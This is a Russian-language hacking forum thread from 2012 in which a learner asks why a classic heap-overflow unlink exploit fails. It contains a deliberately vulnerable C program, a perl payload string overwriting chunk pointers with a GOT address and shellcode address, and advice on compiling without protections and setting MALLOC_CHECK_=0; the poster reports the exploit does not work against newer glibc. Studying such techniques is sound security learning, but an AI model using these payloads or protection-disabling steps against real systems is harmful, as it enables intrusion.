Старый 10.04.2012, 16:33   #1
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
Question Heap overflow

Всем привет!
Интересует техника "Переполнение кучи".
Предположим, имеется следующий код:
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]){
    char *a;
    char *b;
    
    a = (char *)malloc(100);
    b = (char *)malloc(32);
    
    strcpy(a, argv[1]);
    printf("Done.\n");
    
    free(a);
    free(b);
    return 0;
}
Но тут не большая проблемка:

1) Возникает вопрос, что именно это за защита и как её отключить (в смысле скомпилировать программу без этой защиты)?


Что нам говорит теория?
Что заголовок каждого кусок памяти представлен следующей структурой:
Код:
struct malloc_chunk{
	INTERNAL_SIZE_T prev_size;
	INTERNAL_SIZE_T size;
	struct malloc_chunk *fd;
	struct malloc_chunk *bk;
};

где:
prev_size - размер предыдущего куска, если он свободен (4 байта);
size - размер текущего куска в байтах;
*fd - указатель на следующий свободный кусок;
*bk - указатель на предыдущий свободный кусок;
Для эксплуатации уязвимости, необходимо перезаписать указатели fd и bk, и вызвать для них макрос unlink.
На место bk записывается адрес какой-либо функции из GOT.
На место fd записывается адрес шеллкода.

Когда указатели перезаписаны и вызовется макрос unlink, адрес функции в GOT будет перезаписан адресом шеллкода, и, когда выполнение дойдёт до этой функции, выполнение перейдёт на шеллкод.

2) В теоретической части всё верно или я где-то что-то не так понял?


В примерах приводят перезапись функции free@got.
Ок, адрес функции free() = 0x08049b08 (\x08\x9b\x04\x08)
Пусть адрес шеллкода в переменной окружения такой: 0xbfffdf95 (\x95\xdf\xff\xbf)

Нужно заполнить буфер и поле prev_size мусорными данными.
В поле size предлагают записать -4 (0xfffffffc -> \xfc\xff\xff\xff), чтобы поле size указывало на поле prev_size своего куска, как на следующий кусок.

Значит, перезапись будет выглядеть следующим образом:
Код:
buf[100] <=== Ax100
prev_size <== (мусор) 0x12345678 (\x78\x56\x34\x12)
size <======= \xfc\xff\xff\xff
*fd <======= \x95\xdf\xff\xbf
*bk <======= \x08\x9b\x04\x08
    <======= \x00 (завершаем строку нулевым байтом)
Входная строка может выглядеть следующим образом:
Код:
$(perl -e 'print "A"x100 . "\x78\x56\x34\x12" . "\xfc\xff\xff\xff" . "\x95\xdf\xff\xbf" . "\x08\x9b\x04\x08" . "\x00"')
Возможно, где-то я ошибся и/или что-то не правильно понял, т.к. этот метод не срабатывает.
3) Подскажите в чём проблема? Где я мог ошибиться?

Благодарю.
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 10.04.2012, 19:07   #2
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
Возникает вопрос, что именно это за защита и как её отключить (в смысле скомпилировать программу без этой защиты)?
gcc test.c -o test -ggdb -fno-stack-protector -z execstack

А дальше также лазий в gdb и изучай по статьям. Пример простейший
Pashkela вне форума   Ответить с цитированием
Старый 10.04.2012, 19:32   #3
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
gcc test.c -o test -ggdb -fno-stack-protector -z execstack
но ведь, ключ -fno-stack-protector служит для отключения SSP, разве он ещё и за кучей следит?
к сожалению, не помогло.

Цитата:
А дальше также лазий в gdb и изучай по статьям. Пример простейший
Какие статьи посоветуете?
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 10.04.2012, 20:16   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

не надо начинать изучать buffer overflow на убунте

начни с простого примера:

Цитата:
#include <string.h>
void func(char *s) {
char buff[100];
strcpy(buff, s);
}
int main(int argc, char *argv[]){
if(argc<2){
printf("Wrong: %s <some_argument>\n", argv[0]);
exit (0);
}
func(argv[1]);
return 0;
}

Последний раз редактировалось Pashkela; 10.04.2012 в 20:40..
Pashkela вне форума   Ответить с цитированием
Старый 10.04.2012, 21:49   #5
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

С уязвимостью "переполнение буфера в стеке" и её эксплуатацией знаком.
Сейчас меня интересует "переполнение буфера в куче".

Изучаю это дело в BackTrack'e с отключённым NX и ASLR.
В первом посте, я написал о теории и практике, озвучил интересующие вопросы (их 3), но что-то не так.
Просто хочу понять, где я ошибся и как правильно эксплуатировать данную уязвимость.
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 10.04.2012, 22:15   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Сорри, мен, ступил. Не так прочитал. По "переполнение буфера в куче" помочь не смогу, т.к. сам не шарю. Прошу прощения за дезу.

PS: А ты терпиливый
Pashkela вне форума   Ответить с цитированием
Старый 10.04.2012, 22:27   #7
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

Да ладно, всё норм)
Жаль, что информации по этому вопросу мало, даже англоязычной.
Придётся разбираться самому.

Раз информация по этому вопросу отсутствует, то, может даже статью напишу на эту тему, если, конечно, сам разберусь.
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 10.04.2012, 23:08   #8
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

По первому вопросу можно сказать, что это защита "Heap Protection". Написано о ней вкратце тут.
Информацию по (временному) отключению защиты нашёл тут. Проще всего экспортировать переменную окружения (export MALLOC_CHECK_=0)
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 10.05.2012, 23:14   #9
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

Вот тут находится файлик malloc.c, который датируется 2011-м годом. Полагаю, это последняя версия алгоритма распределения кучи.

Вся идея "переполнения буфера в куче" крутится вокруг макроса unlink, но в этом коде (см ссылку), макроса unlink нет.
Зато есть несколько других, например, unlink_small_chunk, unlink_first_small_chunk и т.д..
А в этих макросах происходит проверка, не была ли испорчена память:
Код:
...
  else if (RTCHECK(ok_address(M, F) && F->bk == P)) {\
    F->bk = B;\
    B->fd = F;\
  }\
  else {\
    CORRUPTION_ERROR_ACTION(M);\
  }\
...
Быть может именно в связи с улучшением алгоритма распределения кучи, старые методы эксплуатации больше не работают?
Может именно по этому даже нет информации о переполнении буфера в куче, а те методы, что есть, на практике не работают?

Если у кого-нибудь есть информация на эту тему, будьте добры, поделитесь.
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Старый 11.05.2012, 10:04   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

<Gh0St>
Всеми malloc-ами заведует glibc, ее сайт с последними исходниками http://www.gnu.org/software/libc/libc.html
Вполне вероятно, что макрос убрали, и и-за этого перестал работать старый способ. Можешь проследить, с какой версии в исхониках он пропал, и попробовать на более старом дистрибутиве со старой glibc.

Во 66-ом фраке была MALLOC DES-MALEFICARUM, где упоминалось еще несколько методов, возможно интересно будет прочесть.

PS По-моему, на практике userland exploitation мертва (если не смотреть на CTF).
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot